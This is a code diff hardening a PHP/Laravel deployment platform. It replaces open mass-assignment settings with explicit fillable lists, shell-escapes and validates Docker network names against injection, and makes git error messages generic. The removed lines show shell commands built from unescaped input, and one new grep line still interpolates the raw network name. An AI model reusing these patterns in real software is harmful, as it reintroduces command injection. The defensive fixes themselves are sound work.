'publish_directory',
|
||||
'health_check_enabled',
|
||||
'health_check_path',
|
||||
'health_check_port',
|
||||
'health_check_host',
|
||||
'health_check_method',
|
||||
'health_check_return_code',
|
||||
'health_check_scheme',
|
||||
'health_check_response_text',
|
||||
'health_check_interval',
|
||||
'health_check_timeout',
|
||||
'health_check_retries',
|
||||
'health_check_start_period',
|
||||
'health_check_type',
|
||||
'health_check_command',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'status',
|
||||
'preview_url_template',
|
||||
'dockerfile',
|
||||
'dockerfile_location',
|
||||
'dockerfile_target_build',
|
||||
'custom_labels',
|
||||
'custom_docker_run_options',
|
||||
'post_deployment_command',
|
||||
'post_deployment_command_container',
|
||||
'pre_deployment_command',
|
||||
'pre_deployment_command_container',
|
||||
'manual_webhook_secret_github',
|
||||
'manual_webhook_secret_gitlab',
|
||||
'manual_webhook_secret_bitbucket',
|
||||
'manual_webhook_secret_gitea',
|
||||
'docker_compose_location',
|
||||
'docker_compose_pr_location',
|
||||
'docker_compose',
|
||||
'docker_compose_pr',
|
||||
'docker_compose_raw',
|
||||
'docker_compose_pr_raw',
|
||||
'docker_compose_domains',
|
||||
'docker_compose_custom_start_command',
|
||||
'docker_compose_custom_build_command',
|
||||
'swarm_replicas',
|
||||
'swarm_placement_constraints',
|
||||
'watch_paths',
|
||||
'redirect',
|
||||
'compose_parsing_version',
|
||||
'custom_nginx_configuration',
|
||||
'custom_network_aliases',
|
||||
'custom_healthcheck_found',
|
||||
'nixpkgsarchive',
|
||||
'is_http_basic_auth_enabled',
|
||||
'http_basic_auth_username',
|
||||
'http_basic_auth_password',
|
||||
'connect_to_docker_network',
|
||||
'force_domain_override',
|
||||
'is_container_label_escape_enabled',
|
||||
'use_build_server',
|
||||
'config_hash',
|
||||
'last_online_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
];
|
||||
|
||||
protected $appends = ['server_status'];
|
||||
|
||||
|
|
@ -1145,7 +1230,7 @@ public function getGitRemoteStatus(string $deployment_uuid)
|
|||
'is_accessible' => true,
|
||||
'error' => null,
|
||||
];
|
||||
} catch (\RuntimeException $ex) {
|
||||
} catch (RuntimeException $ex) {
|
||||
return [
|
||||
'is_accessible' => false,
|
||||
'error' => $ex->getMessage(),
|
||||
|
|
@ -1202,7 +1287,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
];
|
||||
}
|
||||
|
||||
if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) {
|
||||
if ($this->source->getMorphClass() === GitlabApp::class) {
|
||||
$gitlabSource = $this->source;
|
||||
$private_key = data_get($gitlabSource, 'privateKey.private_key');
|
||||
|
||||
|
|
@ -1354,7 +1439,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
$source_html_url_host = $url['host'];
|
||||
$source_html_url_scheme = $url['scheme'];
|
||||
|
||||
if ($this->source->getMorphClass() === \App\Models\GithubApp::class) {
|
||||
if ($this->source->getMorphClass() === GithubApp::class) {
|
||||
if ($this->source->is_public) {
|
||||
$fullRepoUrl = "{$this->source->html_url}/{$customRepository}";
|
||||
$escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}");
|
||||
|
|
@ -1409,7 +1494,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
];
|
||||
}
|
||||
|
||||
if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) {
|
||||
if ($this->source->getMorphClass() === GitlabApp::class) {
|
||||
$gitlabSource = $this->source;
|
||||
$private_key = data_get($gitlabSource, 'privateKey.private_key');
|
||||
|
||||
|
|
@ -1600,7 +1685,7 @@ public function oldRawParser()
|
|||
try {
|
||||
$yaml = Yaml::parse($this->docker_compose_raw);
|
||||
} catch (\Exception $e) {
|
||||
throw new \RuntimeException($e->getMessage());
|
||||
throw new RuntimeException($e->getMessage());
|
||||
}
|
||||
$services = data_get($yaml, 'services');
|
||||
|
||||
|
|
@ -1682,7 +1767,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory =
|
|||
$fileList = collect([".$workdir$composeFile"]);
|
||||
$gitRemoteStatus = $this->getGitRemoteStatus(deployment_uuid: $uuid);
|
||||
if (! $gitRemoteStatus['is_accessible']) {
|
||||
throw new \RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}");
|
||||
throw new RuntimeException('Failed to read Git source. Please verify repository access and try again.');
|
||||
}
|
||||
$getGitVersion = instant_remote_process(['git --version'], $this->destination->server, false);
|
||||
$gitVersion = str($getGitVersion)->explode(' ')->last();
|
||||
|
|
@ -1732,15 +1817,15 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory =
|
|||
$this->save();
|
||||
|
||||
if (str($e->getMessage())->contains('No such file')) {
|
||||
throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})<br><br>Check if you used the right extension (.yaml or .yml) in the compose file name.");
|
||||
throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})<br><br>Check if you used the right extension (.yaml or .yml) in the compose file name.");
|
||||
}
|
||||
if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) {
|
||||
if ($this->deploymentType() === 'deploy_key') {
|
||||
throw new \RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.');
|
||||
throw new RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.');
|
||||
}
|
||||
throw new \RuntimeException('Repository does not exist. Please check your repository URL and try again.');
|
||||
throw new RuntimeException('Repository does not exist. Please check your repository URL and try again.');
|
||||
}
|
||||
throw new \RuntimeException($e->getMessage());
|
||||
throw new RuntimeException('Failed to read the Docker Compose file from the repository.');
|
||||
} finally {
|
||||
// Cleanup only - restoration happens in catch block
|
||||
$commands = collect([
|
||||
|
|
@ -1793,7 +1878,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory =
|
|||
$this->base_directory = $initialBaseDirectory;
|
||||
$this->save();
|
||||
|
||||
throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})<br><br>Check if you used the right extension (.yaml or .yml) in the compose file name.");
|
||||
throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})<br><br>Check if you used the right extension (.yaml or .yml) in the compose file name.");
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -265,8 +265,6 @@ public static function flushIdentityMap(): void
|
|||
'server_metadata',
|
||||
];
|
||||
|
||||
protected $guarded = [];
|
||||
|
||||
use HasSafeStringAttribute;
|
||||
|
||||
public function setValidationLogsAttribute($value): void
|
||||
|
|
|
|||
|
|
@ -56,6 +56,7 @@ class ServerSetting extends Model
|
|||
protected $guarded = [];
|
||||
|
||||
protected $casts = [
|
||||
'force_disabled' => 'boolean',
|
||||
'force_docker_cleanup' => 'boolean',
|
||||
'docker_cleanup_threshold' => 'integer',
|
||||
'sentinel_token' => 'encrypted',
|
||||
|
|
|
|||
|
|
@ -15,6 +15,7 @@
|
|||
use OpenApi\Attributes as OA;
|
||||
use Spatie\Activitylog\Models\Activity;
|
||||
use Spatie\Url\Url;
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
#[OA\Schema(
|
||||
|
|
@ -47,7 +48,16 @@ class Service extends BaseModel
|
|||
|
||||
private static $parserVersion = '5';
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'docker_compose_raw',
|
||||
'docker_compose',
|
||||
'connect_to_docker_network',
|
||||
'service_type',
|
||||
'config_hash',
|
||||
'compose_parsing_version',
|
||||
];
|
||||
|
||||
protected $appends = ['server_status', 'status'];
|
||||
|
||||
|
|
@ -1552,7 +1562,7 @@ public function saveComposeConfigs()
|
|||
// Generate SERVICE_NAME_* environment variables from docker-compose services
|
||||
if ($this->docker_compose) {
|
||||
try {
|
||||
$dockerCompose = \Symfony\Component\Yaml\Yaml::parse($this->docker_compose);
|
||||
$dockerCompose = Yaml::parse($this->docker_compose);
|
||||
$services = data_get($dockerCompose, 'services', []);
|
||||
foreach ($services as $serviceName => $_) {
|
||||
$envs->push('SERVICE_NAME_'.str($serviceName)->replace('-', '_')->replace('.', '_')->upper().'='.$serviceName);
|
||||
|
|
|
|||
|
|
@ -13,12 +13,36 @@ class StandaloneClickhouse extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'clickhouse_admin_user',
|
||||
'clickhouse_admin_password',
|
||||
'is_log_drain_enabled',
|
||||
'is_include_timestamps',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
protected $casts = [
|
||||
'clickhouse_password' => 'encrypted',
|
||||
'clickhouse_admin_password' => 'encrypted',
|
||||
'public_port_timeout' => 'integer',
|
||||
'restart_count' => 'integer',
|
||||
'last_restart_at' => 'datetime',
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Models;
|
||||
|
||||
use App\Jobs\ConnectProxyToNetworksJob;
|
||||
use App\Support\ValidationPatterns;
|
||||
use App\Traits\HasSafeStringAttribute;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
|
||||
|
|
@ -18,13 +19,23 @@ protected static function boot()
|
|||
parent::boot();
|
||||
static::created(function ($newStandaloneDocker) {
|
||||
$server = $newStandaloneDocker->server;
|
||||
$safeNetwork = escapeshellarg($newStandaloneDocker->network);
|
||||
instant_remote_process([
|
||||
"docker network inspect $newStandaloneDocker->network >/dev/null 2>&1 || docker network create --driver overlay --attachable $newStandaloneDocker->network >/dev/null",
|
||||
"docker network inspect {$safeNetwork} >/dev/null 2>&1 || docker network create --driver overlay --attachable {$safeNetwork} >/dev/null",
|
||||
], $server, false);
|
||||
ConnectProxyToNetworksJob::dispatchSync($server);
|
||||
});
|
||||
}
|
||||
|
||||
public function setNetworkAttribute(string $value): void
|
||||
{
|
||||
if (! ValidationPatterns::isValidDockerNetwork($value)) {
|
||||
throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.');
|
||||
}
|
||||
|
||||
$this->attributes['network'] = $value;
|
||||
}
|
||||
|
||||
public function applications()
|
||||
{
|
||||
return $this->morphMany(Application::class, 'destination');
|
||||
|
|
|
|||
|
|
@ -13,7 +13,30 @@ class StandaloneDragonfly extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'dragonfly_password',
|
||||
'is_log_drain_enabled',
|
||||
'is_include_timestamps',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,31 @@ class StandaloneKeydb extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'keydb_password',
|
||||
'keydb_conf',
|
||||
'is_log_drain_enabled',
|
||||
'is_include_timestamps',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -14,7 +14,32 @@ class StandaloneMariadb extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'mariadb_root_password',
|
||||
'mariadb_user',
|
||||
'mariadb_password',
|
||||
'mariadb_database',
|
||||
'mariadb_conf',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,31 @@ class StandaloneMongodb extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'mongo_conf',
|
||||
'mongo_initdb_root_username',
|
||||
'mongo_initdb_root_password',
|
||||
'mongo_initdb_database',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,32 @@ class StandaloneMysql extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'mysql_root_password',
|
||||
'mysql_user',
|
||||
'mysql_password',
|
||||
'mysql_database',
|
||||
'mysql_conf',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,34 @@ class StandalonePostgresql extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'postgres_user',
|
||||
'postgres_password',
|
||||
'postgres_db',
|
||||
'postgres_initdb_args',
|
||||
'postgres_host_auth_method',
|
||||
'postgres_conf',
|
||||
'init_scripts',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,28 @@ class StandaloneRedis extends BaseModel
|
|||
{
|
||||
use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'redis_conf',
|
||||
'status',
|
||||
'image',
|
||||
'is_public',
|
||||
'public_port',
|
||||
'ports_mappings',
|
||||
'limits_memory',
|
||||
'limits_memory_swap',
|
||||
'limits_memory_swappiness',
|
||||
'limits_memory_reservation',
|
||||
'limits_cpus',
|
||||
'limits_cpuset',
|
||||
'limits_cpu_shares',
|
||||
'started_at',
|
||||
'restart_count',
|
||||
'last_restart_at',
|
||||
'last_restart_type',
|
||||
'last_online_at',
|
||||
];
|
||||
|
||||
protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status'];
|
||||
|
||||
|
|
|
|||
|
|
@ -2,10 +2,21 @@
|
|||
|
||||
namespace App\Models;
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
class SwarmDocker extends BaseModel
|
||||
{
|
||||
protected $guarded = [];
|
||||
|
||||
public function setNetworkAttribute(string $value): void
|
||||
{
|
||||
if (! ValidationPatterns::isValidDockerNetwork($value)) {
|
||||
throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.');
|
||||
}
|
||||
|
||||
$this->attributes['network'] = $value;
|
||||
}
|
||||
|
||||
public function applications()
|
||||
{
|
||||
return $this->morphMany(Application::class, 'destination');
|
||||
|
|
|
|||
|
|
@ -40,7 +40,13 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen
|
|||
{
|
||||
use HasFactory, HasNotificationSettings, HasSafeStringAttribute, Notifiable;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'personal_team',
|
||||
'show_boarding',
|
||||
'custom_server_limit',
|
||||
];
|
||||
|
||||
protected $casts = [
|
||||
'personal_team' => 'boolean',
|
||||
|
|
|
|||
|
|
@ -4,7 +4,9 @@
|
|||
|
||||
use App\Jobs\UpdateStripeCustomerEmailJob;
|
||||
use App\Notifications\Channels\SendsEmail;
|
||||
use App\Notifications\TransactionalEmails\EmailChangeVerification;
|
||||
use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword;
|
||||
use App\Services\ChangelogService;
|
||||
use App\Traits\DeletesUserSessions;
|
||||
use DateTimeInterface;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
|
|
@ -41,7 +43,13 @@ class User extends Authenticatable implements SendsEmail
|
|||
{
|
||||
use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, TwoFactorAuthenticatable;
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
'force_password_reset',
|
||||
'marketing_emails',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
'password',
|
||||
|
|
@ -87,7 +95,7 @@ protected static function boot()
|
|||
$team['id'] = 0;
|
||||
$team['name'] = 'Root Team';
|
||||
}
|
||||
$new_team = Team::create($team);
|
||||
$new_team = Team::forceCreate($team);
|
||||
$user->teams()->attach($new_team, ['role' => 'owner']);
|
||||
});
|
||||
|
||||
|
|
@ -190,7 +198,7 @@ public function recreate_personal_team()
|
|||
$team['id'] = 0;
|
||||
$team['name'] = 'Root Team';
|
||||
}
|
||||
$new_team = Team::create($team);
|
||||
$new_team = Team::forceCreate($team);
|
||||
$this->teams()->attach($new_team, ['role' => 'owner']);
|
||||
|
||||
return $new_team;
|
||||
|
|
@ -228,7 +236,7 @@ public function changelogReads()
|
|||
|
||||
public function getUnreadChangelogCount(): int
|
||||
{
|
||||
return app(\App\Services\ChangelogService::class)->getUnreadCountForUser($this);
|
||||
return app(ChangelogService::class)->getUnreadCountForUser($this);
|
||||
}
|
||||
|
||||
public function getRecipients(): array
|
||||
|
|
@ -239,7 +247,7 @@ public function getRecipients(): array
|
|||
public function sendVerificationEmail()
|
||||
{
|
||||
$mail = new MailMessage;
|
||||
$url = Url::temporarySignedRoute(
|
||||
$url = URL::temporarySignedRoute(
|
||||
'verify.verify',
|
||||
Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)),
|
||||
[
|
||||
|
|
@ -401,14 +409,14 @@ public function requestEmailChange(string $newEmail): void
|
|||
$expiryMinutes = config('constants.email_change.verification_code_expiry_minutes', 10);
|
||||
$expiresAt = Carbon::now()->addMinutes($expiryMinutes);
|
||||
|
||||
$this->update([
|
||||
$this->forceFill([
|
||||
'pending_email' => $newEmail,
|
||||
'email_change_code' => $code,
|
||||
'email_change_code_expires_at' => $expiresAt,
|
||||
]);
|
||||
])->save();
|
||||
|
||||
// Send verification email to new address
|
||||
$this->notify(new \App\Notifications\TransactionalEmails\EmailChangeVerification($this, $code, $newEmail, $expiresAt));
|
||||
$this->notify(new EmailChangeVerification($this, $code, $newEmail, $expiresAt));
|
||||
}
|
||||
|
||||
public function isEmailChangeCodeValid(string $code): bool
|
||||
|
|
|
|||
|
|
@ -58,6 +58,13 @@ class ValidationPatterns
|
|||
*/
|
||||
public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
|
||||
|
||||
/**
|
||||
* Pattern for Docker network names
|
||||
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
|
||||
* Matches Docker's network naming rules and prevents shell injection
|
||||
*/
|
||||
public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
|
||||
|
||||
/**
|
||||
* Get validation rules for name fields
|
||||
*/
|
||||
|
|
@ -210,6 +217,44 @@ public static function isValidContainerName(string $name): bool
|
|||
return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get validation rules for Docker network name fields
|
||||
*/
|
||||
public static function dockerNetworkRules(bool $required = true, int $maxLength = 255): array
|
||||
{
|
||||
$rules = [];
|
||||
|
||||
if ($required) {
|
||||
$rules[] = 'required';
|
||||
} else {
|
||||
$rules[] = 'nullable';
|
||||
}
|
||||
|
||||
$rules[] = 'string';
|
||||
$rules[] = "max:$maxLength";
|
||||
$rules[] = 'regex:'.self::DOCKER_NETWORK_PATTERN;
|
||||
|
||||
return $rules;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get validation messages for Docker network name fields
|
||||
*/
|
||||
public static function dockerNetworkMessages(string $field = 'network'): array
|
||||
{
|
||||
return [
|
||||
"{$field}.regex" => 'The network name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a string is a valid Docker network name.
|
||||
*/
|
||||
public static function isValidDockerNetwork(string $name): bool
|
||||
{
|
||||
return preg_match(self::DOCKER_NETWORK_PATTERN, $name) === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get combined validation messages for both name and description fields
|
||||
*/
|
||||
|
|
|
|||
|
|
@ -144,6 +144,7 @@ function sharedDataApplications()
|
|||
'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'is_container_label_escape_enabled' => 'boolean',
|
||||
'is_preserve_repository_enabled' => 'boolean'
|
||||
];
|
||||
}
|
||||
|
||||
|
|
@ -193,6 +194,7 @@ function removeUnnecessaryFieldsFromRequest(Request $request)
|
|||
$request->offsetUnset('force_domain_override');
|
||||
$request->offsetUnset('autogenerate_domain');
|
||||
$request->offsetUnset('is_container_label_escape_enabled');
|
||||
$request->offsetUnset('is_preserve_repository_enabled');
|
||||
$request->offsetUnset('docker_compose_raw');
|
||||
$request->offsetUnset('tags');
|
||||
}
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@
|
|||
use App\Jobs\VolumeCloneJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use Spatie\Url\Url;
|
||||
|
|
@ -192,7 +193,7 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
$server = $destination->server;
|
||||
|
||||
if ($server->team_id !== currentTeam()->id) {
|
||||
throw new \RuntimeException('Destination does not belong to the current team.');
|
||||
throw new RuntimeException('Destination does not belong to the current team.');
|
||||
}
|
||||
|
||||
// Prepare name and URL
|
||||
|
|
@ -211,7 +212,7 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
'updated_at',
|
||||
'additional_servers_count',
|
||||
'additional_networks_count',
|
||||
])->fill(array_merge([
|
||||
])->forceFill(array_merge([
|
||||
'uuid' => $uuid,
|
||||
'name' => $name,
|
||||
'fqdn' => $url,
|
||||
|
|
@ -299,6 +300,7 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
'uuid',
|
||||
])->fill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $newApplication->id,
|
||||
|
|
@ -322,8 +324,8 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
destination: $source->destination,
|
||||
no_questions_asked: true
|
||||
);
|
||||
} catch (\Exception $e) {
|
||||
\Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -344,7 +346,7 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
// Clone production environment variables without triggering the created hook
|
||||
$environmentVariables = $source->environment_variables()->get();
|
||||
foreach ($environmentVariables as $environmentVariable) {
|
||||
\App\Models\EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) {
|
||||
EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) {
|
||||
$newEnvironmentVariable = $environmentVariable->replicate([
|
||||
'id',
|
||||
'created_at',
|
||||
|
|
@ -361,7 +363,7 @@ function clone_application(Application $source, $destination, array $overrides =
|
|||
// Clone preview environment variables
|
||||
$previewEnvironmentVariables = $source->environment_variables_preview()->get();
|
||||
foreach ($previewEnvironmentVariables as $previewEnvironmentVariable) {
|
||||
\App\Models\EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) {
|
||||
EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) {
|
||||
$newPreviewEnvironmentVariable = $previewEnvironmentVariable->replicate([
|
||||
'id',
|
||||
'created_at',
|
||||
|
|
|
|||
|
|
@ -109,18 +109,20 @@ function connectProxyToNetworks(Server $server)
|
|||
['networks' => $networks] = collectDockerNetworksByServer($server);
|
||||
if ($server->isSwarm()) {
|
||||
$commands = $networks->map(function ($network) {
|
||||
$safe = escapeshellarg($network);
|
||||
return [
|
||||
"docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --driver overlay --attachable $network >/dev/null",
|
||||
"docker network connect $network coolify-proxy >/dev/null 2>&1 || true",
|
||||
"echo 'Successfully connected coolify-proxy to $network network.'",
|
||||
"docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --driver overlay --attachable {$safe} >/dev/null",
|
||||
"docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true",
|
||||
"echo 'Successfully connected coolify-proxy to {$safe} network.'",
|
||||
];
|
||||
});
|
||||
} else {
|
||||
$commands = $networks->map(function ($network) {
|
||||
$safe = escapeshellarg($network);
|
||||
return [
|
||||
"docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --attachable $network >/dev/null",
|
||||
"docker network connect $network coolify-proxy >/dev/null 2>&1 || true",
|
||||
"echo 'Successfully connected coolify-proxy to $network network.'",
|
||||
"docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --attachable {$safe} >/dev/null",
|
||||
"docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true",
|
||||
"echo 'Successfully connected coolify-proxy to {$safe} network.'",
|
||||
];
|
||||
